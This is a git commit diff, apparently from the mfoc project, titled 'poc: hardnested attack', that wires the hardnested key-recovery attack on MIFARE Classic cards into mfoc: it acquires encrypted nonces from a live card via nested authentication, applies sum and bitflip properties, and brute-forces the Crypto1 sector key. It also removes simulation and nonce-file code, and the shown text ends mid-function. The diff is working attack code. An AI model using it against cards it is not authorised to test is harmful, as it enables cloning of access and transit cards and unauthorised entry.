poc: hardnested attack

This commit is contained in:
Valentín Kivachuk 2018-11-30 15:11:57 +01:00
parent fc39e033c4
commit ca895fc373
10 changed files with 325 additions and 921 deletions

2
.gitignore vendored
View File

@ -20,4 +20,4 @@ src/Makefile.in
src/mfoc src/mfoc
src/mfoc.exe src/mfoc.exe
stamp-h1 stamp-h1
*.o

View File

@ -7,7 +7,7 @@ AC_CONFIG_HEADERS([config.h])
AC_CONFIG_SRCDIR([src/mfoc.c]) AC_CONFIG_SRCDIR([src/mfoc.c])
AM_INIT_AUTOMAKE([dist-bzip2 no-dist-gzip subdir-objects]) AM_INIT_AUTOMAKE([dist-bzip2 no-dist-gzip subdir-objects])
CFLAGS="$CFLAGS -O3" CFLAGS="$CFLAGS -g -g3"
AX_CFLAGS_WARN_ALL AX_CFLAGS_WARN_ALL
AC_PROG_CC AC_PROG_CC
@ -21,7 +21,6 @@ PKG_CHECK_MODULES([libnfc], [libnfc >= $LIBNFC_REQUIRED_VERSION], [], [AC_MSG_ER
PKG_CHECK_MODULES([liblzma], [liblzma], LIBS="$LIBS -llzma", [AC_MSG_ERROR([liblzma is mandatory.])]) PKG_CHECK_MODULES([liblzma], [liblzma], LIBS="$LIBS -llzma", [AC_MSG_ERROR([liblzma is mandatory.])])
ACX_PTHREAD(LIBS="$LIBS $PTHREAD_CFLAGS", [AC_MSG_ERROR([pthread is mandatory.])]) ACX_PTHREAD(LIBS="$LIBS $PTHREAD_CFLAGS", [AC_MSG_ERROR([pthread is mandatory.])])
AC_CHECK_LIB(m, log, LIBS="$LIBS -lm", [AC_MSG_ERROR([math is mandatory.])]) AC_CHECK_LIB(m, log, LIBS="$LIBS -lm", [AC_MSG_ERROR([math is mandatory.])])
AX_LIB_READLINE
PKG_CONFIG_REQUIRES="libnfc" PKG_CONFIG_REQUIRES="libnfc"
AC_SUBST([PKG_CONFIG_REQUIRES]) AC_SUBST([PKG_CONFIG_REQUIRES])

View File

@ -51,6 +51,10 @@
#define DEBUG_KEY_ELIMINATION #define DEBUG_KEY_ELIMINATION
// #define DEBUG_REDUCTION // #define DEBUG_REDUCTION
#define MC_AUTH_A 0x60
#define MC_AUTH_B 0x61
#define MAX_FRAME_LEN 264
static uint16_t sums[NUM_SUMS] = {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256}; // possible sum property values static uint16_t sums[NUM_SUMS] = {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256}; // possible sum property values
#define NUM_PART_SUMS 9 // number of possible partial sum property values #define NUM_PART_SUMS 9 // number of possible partial sum property values
@ -105,8 +109,9 @@ static void print_progress_header(void) {
PrintAndLog(" 0 | 0 | %-55s | |", progress_text); PrintAndLog(" 0 | 0 | %-55s | |", progress_text);
} }
void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time) { void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time, uint8_t trgKeyBlock, uint8_t trgKeyType) {
static uint64_t last_print_time = 0; static uint64_t last_print_time = 0;
static uint8_t keyType;
if (msclock() - last_print_time > min_diff_print_time) { if (msclock() - last_print_time > min_diff_print_time) {
last_print_time = msclock(); last_print_time = msclock();
uint64_t total_time = msclock() - start_time; uint64_t total_time = msclock() - start_time;
@ -121,7 +126,16 @@ void hardnested_print_progress(uint32_t nonces, char *activity, float brute_forc
} else { } else {
sprintf(brute_force_time_string, "%2.0fd", brute_force_time / (60 * 60 * 24)); sprintf(brute_force_time_string, "%2.0fd", brute_force_time / (60 * 60 * 24));
} }
PrintAndLog(" %7.0f | %7d | %-55s | %15.0f | %5s", (float) total_time / 1000.0, nonces, activity, brute_force, brute_force_time_string);
if (trgKeyType == MC_AUTH_A) {
keyType = 'A';
} else if (trgKeyType == MC_AUTH_B){
keyType = 'B';
} else {
keyType = '?';
}
PrintAndLog(" %7.0f | %2d%c | %7d | %-55s | %15.0f | %5s", (float) total_time / 1000.0, trgKeyBlock / 4, keyType, nonces, activity, brute_force, brute_force_time_string);
} }
} }
@ -230,13 +244,14 @@ static int compare_count_bitflip_bitarrays(const void *b1, const void *b2) {
const char *get_my_executable_directory() { const char *get_my_executable_directory() {
char cwd[1024]; char cwd[1024];
static char dir_path[sizeof (cwd) + 1]; char extra[] = "/src/";
static char dir_path[sizeof (cwd) + sizeof(extra)];
if (getcwd(cwd, sizeof (cwd)) == NULL) { if (getcwd(cwd, sizeof (cwd)) == NULL) {
perror("getcwd() error"); perror("getcwd() error");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
snprintf(dir_path, sizeof dir_path, "%s%s", cwd, "/"); snprintf(dir_path, sizeof dir_path, "%s%s", cwd, extra);
return dir_path; return dir_path;
} }
@ -351,7 +366,7 @@ static void init_bitflip_bitarrays(void) {
#endif #endif
char progress_text[80]; char progress_text[80];
sprintf(progress_text, "Using %d precalculated bitflip state tables", num_all_effective_bitflips); sprintf(progress_text, "Using %d precalculated bitflip state tables", num_all_effective_bitflips);
hardnested_print_progress(0, progress_text, (float) (1LL << 47), 0); hardnested_print_progress(0, progress_text, (float) (1LL << 47), 0, 0, 0);
} }
static void free_bitflip_bitarrays(void) { static void free_bitflip_bitarrays(void) {
@ -493,10 +508,6 @@ static void free_sum_bitarrays(void) {
char failstr[250] = ""; char failstr[250] = "";
#endif #endif
static const float p_K0[NUM_SUMS] = {// the probability that a random nonce has a Sum Property K
0.0290, 0.0083, 0.0006, 0.0339, 0.0048, 0.0934, 0.0119, 0.0489, 0.0602, 0.4180, 0.0602, 0.0489, 0.0119, 0.0934, 0.0048, 0.0339, 0.0006, 0.0083, 0.0290
};
static float my_p_K[NUM_SUMS]; static float my_p_K[NUM_SUMS];
static const float *p_K; static const float *p_K;
@ -509,7 +520,6 @@ static uint8_t best_first_byte_smallest_bitarray = 0;
static uint16_t first_byte_Sum = 0; static uint16_t first_byte_Sum = 0;
static uint16_t first_byte_num = 0; static uint16_t first_byte_num = 0;
static bool write_stats = false; static bool write_stats = false;
static FILE *fstats = NULL;
static uint32_t *all_bitflips_bitarray[2]; static uint32_t *all_bitflips_bitarray[2];
static uint32_t num_all_bitflips_bitarray[2]; static uint32_t num_all_bitflips_bitarray[2];
static bool all_bitflips_bitarray_dirty[2]; static bool all_bitflips_bitarray_dirty[2];
@ -1038,60 +1048,6 @@ static void estimate_sum_a8(void) {
} }
} }
static int read_nonce_file(void) {
FILE *fnonces = NULL;
size_t bytes_read;
uint8_t trgBlockNo;
uint8_t trgKeyType;
uint8_t read_buf[9];
uint32_t nt_enc1, nt_enc2;
uint8_t par_enc;
num_acquired_nonces = 0;
if ((fnonces = fopen("nonces.bin", "rb")) == NULL) {
PrintAndLog("Could not open file nonces.bin");
return 1;
}
hardnested_print_progress(0, "Reading nonces from file nonces.bin...", (float) (1LL << 47), 0);
bytes_read = fread(read_buf, 1, 6, fnonces);
if (bytes_read != 6) {
PrintAndLog("File reading error.");
fclose(fnonces);
return 1;
}
cuid = bytes_to_num(read_buf, 4);
trgBlockNo = bytes_to_num(read_buf + 4, 1);
trgKeyType = bytes_to_num(read_buf + 5, 1);
bytes_read = fread(read_buf, 1, 9, fnonces);
while (bytes_read == 9) {
nt_enc1 = bytes_to_num(read_buf, 4);
nt_enc2 = bytes_to_num(read_buf + 4, 4);
par_enc = bytes_to_num(read_buf + 8, 1);
add_nonce(nt_enc1, par_enc >> 4);
add_nonce(nt_enc2, par_enc & 0x0f);
num_acquired_nonces += 2;
bytes_read = fread(read_buf, 1, 9, fnonces);
}
fclose(fnonces);
char progress_string[80];
sprintf(progress_string, "Read %d nonces from file. cuid=%08x", num_acquired_nonces, cuid);
hardnested_print_progress(num_acquired_nonces, progress_string, (float) (1LL << 47), 0);
sprintf(progress_string, "Target Block=%d, Keytype=%c", trgBlockNo, trgKeyType == 0 ? 'A' : 'B');
hardnested_print_progress(num_acquired_nonces, progress_string, (float) (1LL << 47), 0);
for (uint16_t i = 0; i < NUM_SUMS; i++) {
if (first_byte_Sum == sums[i]) {
first_byte_Sum = i;
break;
}
}
return 0;
}
noncelistentry_t *SearchFor2ndByte(uint8_t b1, uint8_t b2) { noncelistentry_t *SearchFor2ndByte(uint8_t b1, uint8_t b2) {
noncelistentry_t *p = nonces[b1].first; noncelistentry_t *p = nonces[b1].first;
while (p != NULL) { while (p != NULL) {
@ -1258,103 +1214,10 @@ static void apply_sum_a0(void) {
} }
} }
static void simulate_MFplus_RNG(uint32_t test_cuid, uint64_t test_key, uint32_t *nt_enc, uint8_t *par_enc) { //extern mfreader r;
struct Crypto1State sim_cs = {0, 0}; //extern mftag t;
// init cryptostate with key:
for (int8_t i = 47; i > 0; i -= 2) {
sim_cs.odd = sim_cs.odd << 1 | BIT(test_key, (i - 1) ^ 7);
sim_cs.even = sim_cs.even << 1 | BIT(test_key, i ^ 7);
}
*par_enc = 0;
uint32_t nt = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) {
uint8_t nt_byte_dec = (nt >> (8 * byte_pos)) & 0xff;
uint8_t nt_byte_enc = crypto1_byte(&sim_cs, nt_byte_dec ^ (test_cuid >> (8 * byte_pos)), false) ^ nt_byte_dec; // encode the nonce byte
*nt_enc = (*nt_enc << 8) | nt_byte_enc;
uint8_t ks_par = filter(sim_cs.odd); // the keystream bit to encode/decode the parity bit
uint8_t nt_byte_par_enc = ks_par ^ oddparity8(nt_byte_dec); // determine the nt byte's parity and encode it
*par_enc = (*par_enc << 1) | nt_byte_par_enc;
}
}
static void simulate_acquire_nonces() {
time_t time1 = time(NULL);
last_sample_clock = 0;
sample_period = 1000; // for simulation
hardnested_stage = CHECK_1ST_BYTES;
bool acquisition_completed = false;
uint32_t total_num_nonces = 0;
float brute_force;
bool reported_suma8 = false;
cuid = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
if (known_target_key == -1) {
known_target_key = ((uint64_t) rand() & 0xfff) << 36 | ((uint64_t) rand() & 0xfff) << 24 | ((uint64_t) rand() & 0xfff) << 12 | ((uint64_t) rand() & 0xfff);
}
char progress_text[80];
sprintf(progress_text, "Simulating key %012" PRIx64 ", cuid %08" PRIx32 " ...", known_target_key, cuid);
hardnested_print_progress(0, progress_text, (float) (1LL << 47), 0);
fprintf(fstats, "%012" PRIx64 ";%" PRIx32 ";", known_target_key, cuid);
num_acquired_nonces = 0;
do {
uint32_t nt_enc = 0;
uint8_t par_enc = 0;
for (uint16_t i = 0; i < 113; i++) {
simulate_MFplus_RNG(cuid, known_target_key, &nt_enc, &par_enc);
num_acquired_nonces += add_nonce(nt_enc, par_enc);
total_num_nonces++;
}
last_sample_clock = msclock();
if (first_byte_num == 256) {
if (hardnested_stage == CHECK_1ST_BYTES) {
for (uint16_t i = 0; i < NUM_SUMS; i++) {
if (first_byte_Sum == sums[i]) {
first_byte_Sum = i;
break;
}
}
hardnested_stage |= CHECK_2ND_BYTES;
apply_sum_a0();
}
update_nonce_data(true);
acquisition_completed = shrink_key_space(&brute_force);
if (!reported_suma8) {
char progress_string[80];
sprintf(progress_string, "Apply Sum property. Sum(a0) = %d", sums[first_byte_Sum]);
hardnested_print_progress(num_acquired_nonces, progress_string, brute_force, 0);
reported_suma8 = true;
} else {
hardnested_print_progress(num_acquired_nonces, "Apply bit flip properties", brute_force, 0);
}
} else {
update_nonce_data(true);
acquisition_completed = shrink_key_space(&brute_force);
hardnested_print_progress(num_acquired_nonces, "Apply bit flip properties", brute_force, 0);
}
} while (!acquisition_completed);
time_t end_time = time(NULL);
// PrintAndLog("Acquired a total of %" PRId32" nonces in %1.0f seconds (%1.0f nonces/minute)",
// num_acquired_nonces,
// difftime(end_time, time1),
// difftime(end_time, time1)!=0.0?(float)total_num_nonces*60.0/difftime(end_time, time1):INFINITY
// );
fprintf(fstats, "%" PRId32 ";%" PRId32 ";%1.0f;", total_num_nonces, num_acquired_nonces, difftime(end_time, time1));
}
nfc_device* pnd; nfc_device* pnd;
static nfc_context *context;
uint32_t uid; uint32_t uid;
nfc_target target; nfc_target target;
@ -1369,10 +1232,6 @@ const nfc_modulation nmMifare = {
.nbr = NBR_106, .nbr = NBR_106,
}; };
#define MC_AUTH_A 0x60
#define MC_AUTH_B 0x61
#define MAX_FRAME_LEN 264
enum { enum {
OK, OK,
ERROR, ERROR,
@ -1532,7 +1391,7 @@ uint8_t block_to_sector(uint8_t block) {
return 32 + (block >> 4); return 32 + (block >> 4);
} }
static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow) { static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType) {
last_sample_clock = msclock(); last_sample_clock = msclock();
sample_period = 2000; // initial rough estimate. Will be refined. sample_period = 2000; // initial rough estimate. Will be refined.
bool initialize = true; bool initialize = true;
@ -1540,21 +1399,27 @@ static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_
hardnested_stage = CHECK_1ST_BYTES; hardnested_stage = CHECK_1ST_BYTES;
bool acquisition_completed = false; bool acquisition_completed = false;
uint32_t flags = 0; uint32_t flags = 0;
uint8_t write_buf[9];
// uint32_t total_num_nonces = 0; // uint32_t total_num_nonces = 0;
float brute_force; float brute_force;
bool reported_suma8 = false; bool reported_suma8 = false;
FILE *fnonces = NULL;
// UsbCommand resp;
num_acquired_nonces = 0; num_acquired_nonces = 0;
int e_sector = blockNo / 4;
int a_sector = trgBlockNo / 4;
pKeys pk = {NULL, 0};
bool dumpKeysA = (trgKeyType == MC_AUTH_A ? true : false);
//
uint32_t enc_bytes = 0;
uint8_t parbits = 0;
// clearCommandBuffer(); // clearCommandBuffer();
do { do {
flags = 0; flags = 0;
flags |= initialize ? 0x0001 : 0; flags |= initialize ? 0x0001 : 0;
flags |= slow ? 0x0002 : 0;
flags |= field_off ? 0x0004 : 0; flags |= field_off ? 0x0004 : 0;
// UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}}; // UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}};
// memcpy(c.d.asBytes, key, 6); // memcpy(c.d.asBytes, key, 6);
@ -1564,20 +1429,9 @@ static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_
if (field_off) break; if (field_off) break;
if (initialize) { if (initialize) {
// if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1; pnd = r.pdi;
target = t.nt;
// if (resp.arg[0]) return resp.arg[0]; // error during nested_hard cuid = t.authuid;
nfc_init(&context);
pnd = nfc_open(context, NULL);
if (pnd == NULL) {
fprintf(stderr, "No NFC device connection\n");
return 1;
}
nfc_initiator_init(pnd);
nfc_device_set_property_bool(pnd, NP_ACTIVATE_FIELD, false); nfc_device_set_property_bool(pnd, NP_ACTIVATE_FIELD, false);
// Let the reader only try once to find a tag // Let the reader only try once to find a tag
@ -1604,15 +1458,9 @@ static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_
known_key = bytes_to_num(key, 6); known_key = bytes_to_num(key, 6);
// known_key = 0; // known_key = 0;
for_block = blockNo; for_block = blockNo;
ab_key = MC_AUTH_A; ab_key = keyType;
if (keyType) {
ab_key = MC_AUTH_B;
}
target_block = trgBlockNo; target_block = trgBlockNo;
target_key = MC_AUTH_A; target_key = trgKeyType;
if (trgKeyType) {
target_key = MC_AUTH_B;
}
switch (nested_auth(cuid, known_key, ab_key, for_block, target_block, target_key, false)) { switch (nested_auth(cuid, known_key, ab_key, for_block, target_block, target_key, false)) {
case KEY_WRONG: case KEY_WRONG:
printf("%012"PRIx64" doesn't look like the right key %s for block %u (sector %u)\n", known_key, ab_key == MC_AUTH_A ? "A" : "B", for_block, block_to_sector(for_block)); printf("%012"PRIx64" doesn't look like the right key %s for block %u (sector %u)\n", known_key, ab_key == MC_AUTH_A ? "A" : "B", for_block, block_to_sector(for_block));
@ -1625,54 +1473,33 @@ static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_
break; break;
} }
// cuid = resp.arg[1]; mf_configure(r.pdi);
// PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid);
if (nonce_file_write && fnonces == NULL) {
if ((fnonces = fopen("nonces.bin", "wb")) == NULL) {
PrintAndLog("Could not create file nonces.bin");
return 3;
}
hardnested_print_progress(0, "Writing acquired nonces to binary file nonces.bin", (float) (1LL << 47), 0);
num_to_bytes(cuid, 4, write_buf);
fwrite(write_buf, 1, 4, fnonces);
fwrite(&trgBlockNo, 1, 1, fnonces);
fwrite(&trgKeyType, 1, 1, fnonces);
}
} }
if (!initialize) { if (!initialize) {
// uint32_t nt_enc1, nt_enc2;
// uint8_t par_enc;
// uint16_t num_sampled_nonces = resp.arg[2];
// uint8_t *bufp = resp.d.asBytes; // nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, true);
// for (uint16_t i = 0; i < num_sampled_nonces; i+=2) { // nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, true);
// nt_enc1 = bytes_to_num(bufp, 4); // if (nfc_initiator_select_passive_target(pnd, nmMifare, NULL, 0, &target)) {
// nt_enc2 = bytes_to_num(bufp+4, 4); // mf_enhanced_auth(e_sector, a_sector, t, r, 0, &pk, 'h', dumpKeysA, &enc_bytes, &parbits);
// par_enc = bytes_to_num(bufp+8, 1); // num_acquired_nonces += add_nonce(enc_bytes, parbits);
// // } else {
// //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4); // printf("Don't move the tag!\n");
// num_acquired_nonces += add_nonce(nt_enc1, par_enc >> 4); // fflush(stdout);
// //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
// num_acquired_nonces += add_nonce(nt_enc2, par_enc & 0x0f);
//
// if (nonce_file_write) {
// fwrite(bufp, 1, 9, fnonces);
// }
// bufp += 9;
// } // }
// for (uint32_t i = 0; i< 10; i++ ) {
nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, true); // mf_configure(r.pdi);
nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, true); mf_anticollision(t, r);
// Poll for a ISO14443A (MIFARE) tag
if (nfc_initiator_select_passive_target(pnd, nmMifare, NULL, 0, &target)) {
nested_auth(cuid, known_key, ab_key, for_block, target_block, target_key, true); mf_enhanced_auth(e_sector, a_sector, t, r, 0, &pk, 'h', dumpKeysA, &enc_bytes, &parbits);
} else { num_acquired_nonces += add_nonce(enc_bytes, parbits);
printf("Don't move the tag!\n"); // nested_auth(cuid, known_key, ab_key, for_block, target_block, target_key, true);
fflush(stdout); mf_configure(r.pdi);
}
// }
// total_num_nonces +=4;
if (first_byte_num == 256) { if (first_byte_num == 256) {
if (hardnested_stage == CHECK_1ST_BYTES) { if (hardnested_stage == CHECK_1ST_BYTES) {
@ -1690,15 +1517,15 @@ static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_
if (!reported_suma8) { if (!reported_suma8) {
char progress_string[80]; char progress_string[80];
sprintf(progress_string, "Apply Sum property. Sum(a0) = %d", sums[first_byte_Sum]); sprintf(progress_string, "Apply Sum property. Sum(a0) = %d", sums[first_byte_Sum]);
hardnested_print_progress(num_acquired_nonces, progress_string, brute_force, 0); hardnested_print_progress(num_acquired_nonces, progress_string, brute_force, 0, trgBlockNo, trgKeyType);
reported_suma8 = true; reported_suma8 = true;
} else { } else {
hardnested_print_progress(num_acquired_nonces, "Apply bit flip properties", brute_force, 0); hardnested_print_progress(num_acquired_nonces, "Apply bit flip properties", brute_force, 0, trgBlockNo, trgKeyType);
} }
} else { } else {
update_nonce_data(true); update_nonce_data(true);
acquisition_completed = shrink_key_space(&brute_force); acquisition_completed = shrink_key_space(&brute_force);
hardnested_print_progress(num_acquired_nonces, "Apply bit flip properties", brute_force, 0); hardnested_print_progress(num_acquired_nonces, "Apply bit flip properties", brute_force, 0, trgBlockNo, trgKeyType);
} }
} }
@ -1706,21 +1533,6 @@ static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_
field_off = true; // switch off field with next SendCommand and then finish field_off = true; // switch off field with next SendCommand and then finish
} }
// if (!initialize) {
// if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) {
// if (nonce_file_write) {
// fclose(fnonces);
// }
// return 1;
// }
// if (resp.arg[0]) {
// if (nonce_file_write) {
// fclose(fnonces);
// }
// return resp.arg[0]; // error during nested_hard
// }
// }
initialize = false; initialize = false;
if (msclock() - last_sample_clock < sample_period) { if (msclock() - last_sample_clock < sample_period) {
@ -1730,14 +1542,6 @@ static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_
} while (!acquisition_completed || field_off); } while (!acquisition_completed || field_off);
if (nonce_file_write) {
fclose(fnonces);
}
// PrintAndLog("Sampled a total of %d nonces in %d seconds (%0.0f nonces/minute)",
// total_num_nonces,
// time(NULL)-time1,
// (float)total_num_nonces*60.0/(time(NULL)-time1));
return 0; return 0;
} }
@ -2041,14 +1845,14 @@ static bool TestIfKeyExists(uint64_t key) {
} }
if (found_odd && found_even) { if (found_odd && found_even) {
num_keys_tested += count; num_keys_tested += count;
hardnested_print_progress(num_acquired_nonces, "(Test: Key found)", 0.0, 0); hardnested_print_progress(num_acquired_nonces, "(Test: Key found)", 0.0, 0, 0, 0);
crypto1_destroy(pcs); crypto1_destroy(pcs);
return true; return true;
} }
} }
num_keys_tested += count; num_keys_tested += count;
hardnested_print_progress(num_acquired_nonces, "(Test: Key NOT found)", 0.0, 0); hardnested_print_progress(num_acquired_nonces, "(Test: Key NOT found)", 0.0, 0, 0, 0);
crypto1_destroy(pcs); crypto1_destroy(pcs);
return false; return false;
@ -2269,7 +2073,7 @@ static void generate_candidates(uint8_t sum_a0_idx, uint8_t sum_a8_idx) {
} }
update_expected_brute_force(best_first_bytes[0]); update_expected_brute_force(best_first_bytes[0]);
hardnested_print_progress(num_acquired_nonces, "Apply Sum(a8) and all bytes bitflip properties", nonces[best_first_bytes[0]].expected_num_brute_force, 0); hardnested_print_progress(num_acquired_nonces, "Apply Sum(a8) and all bytes bitflip properties", nonces[best_first_bytes[0]].expected_num_brute_force, 0, 0, 0);
} }
static void free_candidates_memory(statelist_t *sl) { static void free_candidates_memory(statelist_t *sl) {
@ -2298,11 +2102,11 @@ static void pre_XOR_nonces(void) {
} }
} }
static bool brute_force(void) { static bool brute_force(uint8_t trgBlock, uint8_t trgKey) {
if (known_target_key != -1) { if (known_target_key != -1) {
TestIfKeyExists(known_target_key); TestIfKeyExists(known_target_key);
} }
return brute_force_bs(NULL, candidates, cuid, num_acquired_nonces, maximum_states, nonces, best_first_bytes); return brute_force_bs(NULL, candidates, cuid, num_acquired_nonces, maximum_states, nonces, best_first_bytes, trgBlock, trgKey);
} }
static uint16_t SumProperty(struct Crypto1State *s) { static uint16_t SumProperty(struct Crypto1State *s) {
@ -2313,219 +2117,6 @@ static uint16_t SumProperty(struct Crypto1State *s) {
static void Tests() { static void Tests() {
/* #define NUM_STATISTICS 100000
uint32_t statistics_odd[17];
uint64_t statistics[257];
uint32_t statistics_even[17];
struct Crypto1State cs;
uint64_t time1 = msclock();
for (uint16_t i = 0; i < 257; i++) {
statistics[i] = 0;
}
for (uint16_t i = 0; i < 17; i++) {
statistics_odd[i] = 0;
statistics_even[i] = 0;
}
for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
uint16_t sum_property = SumProperty(&cs);
statistics[sum_property] += 1;
sum_property = PartialSumProperty(cs.even, EVEN_STATE);
statistics_even[sum_property]++;
sum_property = PartialSumProperty(cs.odd, ODD_STATE);
statistics_odd[sum_property]++;
if (i%(NUM_STATISTICS/100) == 0) printf(".");
}
printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)msclock() - time1)/1000.0, NUM_STATISTICS/((float)msclock() - time1)*1000.0);
for (uint16_t i = 0; i < 257; i++) {
if (statistics[i] != 0) {
printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
}
}
for (uint16_t i = 0; i <= 16; i++) {
if (statistics_odd[i] != 0) {
printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
}
}
for (uint16_t i = 0; i <= 16; i++) {
if (statistics_odd[i] != 0) {
printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
}
}
*/
/* #define NUM_STATISTICS 100000000LL
uint64_t statistics_a0[257];
uint64_t statistics_a8[257][257];
struct Crypto1State cs;
uint64_t time1 = msclock();
for (uint16_t i = 0; i < 257; i++) {
statistics_a0[i] = 0;
for (uint16_t j = 0; j < 257; j++) {
statistics_a8[i][j] = 0;
}
}
for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
uint16_t sum_property_a0 = SumProperty(&cs);
statistics_a0[sum_property_a0]++;
uint8_t first_byte = rand() & 0xff;
crypto1_byte(&cs, first_byte, true);
uint16_t sum_property_a8 = SumProperty(&cs);
statistics_a8[sum_property_a0][sum_property_a8] += 1;
if (i%(NUM_STATISTICS/100) == 0) printf(".");
}
printf("\nTests: Probability Distribution of a8 depending on a0:\n");
printf("\n ");
for (uint16_t i = 0; i < NUM_SUMS; i++) {
printf("%7d ", sums[i]);
}
printf("\n-------------------------------------------------------------------------------------------------------------------------------------------\n");
printf("a0: ");
for (uint16_t i = 0; i < NUM_SUMS; i++) {
printf("%7.5f ", (float)statistics_a0[sums[i]] / NUM_STATISTICS);
}
printf("\n");
for (uint16_t i = 0; i < NUM_SUMS; i++) {
printf("%3d ", sums[i]);
for (uint16_t j = 0; j < NUM_SUMS; j++) {
printf("%7.5f ", (float)statistics_a8[sums[i]][sums[j]] / statistics_a0[sums[i]]);
}
printf("\n");
}
printf("\nTests: Calculated %"lld" Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)msclock() - time1)/1000.0, NUM_STATISTICS/((float)msclock() - time1)*1000.0);
*/
/* #define NUM_STATISTICS 100000LL
uint64_t statistics_a8[257];
struct Crypto1State cs;
uint64_t time1 = msclock();
printf("\nTests: Probability Distribution of a8 depending on first byte:\n");
printf("\n ");
for (uint16_t i = 0; i < NUM_SUMS; i++) {
printf("%7d ", sums[i]);
}
printf("\n-------------------------------------------------------------------------------------------------------------------------------------------\n");
for (uint16_t first_byte = 0; first_byte < 256; first_byte++) {
for (uint16_t i = 0; i < 257; i++) {
statistics_a8[i] = 0;
}
for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
crypto1_byte(&cs, first_byte, true);
uint16_t sum_property_a8 = SumProperty(&cs);
statistics_a8[sum_property_a8] += 1;
}
printf("%03x ", first_byte);
for (uint16_t j = 0; j < NUM_SUMS; j++) {
printf("%7.5f ", (float)statistics_a8[sums[j]] / NUM_STATISTICS);
}
printf("\n");
}
printf("\nTests: Calculated %"lld" Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)msclock() - time1)/1000.0, NUM_STATISTICS/((float)msclock() - time1)*1000.0);
*/
/* printf("Tests: Sum Probabilities based on Partial Sums\n");
for (uint16_t i = 0; i < 257; i++) {
statistics[i] = 0;
}
uint64_t num_states = 0;
for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
}
}
printf("num_states = %"lld", expected %"lld"\n", num_states, (1LL<<48));
for (uint16_t i = 0; i < 257; i++) {
if (statistics[i] != 0) {
printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
}
}
*/
/* struct Crypto1State *pcs;
pcs = crypto1_create(0xffffffffffff);
printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
best_first_bytes[0],
SumProperty(pcs),
pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
//test_state_odd = pcs->odd & 0x00ffffff;
//test_state_even = pcs->even & 0x00ffffff;
crypto1_destroy(pcs);
pcs = crypto1_create(0xa0a1a2a3a4a5);
printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
